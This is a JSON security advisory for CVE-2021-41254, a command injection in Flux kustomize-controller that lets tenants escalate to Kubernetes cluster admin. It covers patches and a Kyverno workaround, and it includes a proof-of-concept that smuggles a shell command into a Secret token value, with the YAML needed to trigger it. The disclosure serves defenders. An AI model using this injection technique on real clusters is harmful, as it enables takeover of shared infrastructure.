1 line
4.2 KiB
JSON
1 line
4.2 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-35rf-v2jv-gfg7","published":"2021-11-15T17:35:33Z","modified":"2026-09-10T03:49:09.466080790Z","aliases":["BIT-kustomize-2021-41254","CVE-2021-41254","GO-2022-0260"],"summary":"Privilege escalation to cluster admin on multi-tenant environments","details":"Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit \n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n name: exploit\n namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n name: exploit\n namespace: default\nspec:\n interval: 5m\n path: \"./deploy/\"\n sourceRef:\n kind: GitRepository\n name: app\n serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: restrict-sa\nspec:\n validationFailureAction: enforce\n background: false\n rules:\n - name: validate-sa\n match:\n resources:\n kinds:\n - ServiceAccount\n namespaces:\n - tenant1\n - tenant2\n subjects:\n - kind: User\n name: some@tenant1.com\n - kind: User\n name: some@tenant2.com\n - kind: ServiceAccount\n name: kustomize-controller\n namespace: flux-system\n - kind: ServiceAccount\n name: helm-controller\n namespace: flux-system\n validate:\n message: \"Invalid service account\"\n pattern:\n X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)\n\n","affected":[{"package":{"name":"github.com/fluxcd/kustomize-controller","ecosystem":"Go","purl":"pkg:golang/github.com/fluxcd/kustomize-controller"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.15.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/11/GHSA-35rf-v2jv-gfg7/GHSA-35rf-v2jv-gfg7.json"}}],"references":[{"type":"WEB","url":"https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-41254"},{"type":"PACKAGE","url":"https://github.com/fluxcd/kustomize-controller"}],"database_specific":{"cwe_ids":["CWE-78"],"github_reviewed":true,"github_reviewed_at":"2021-11-12T18:57:27Z","nvd_published_at":"2021-11-12T18:15:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]} |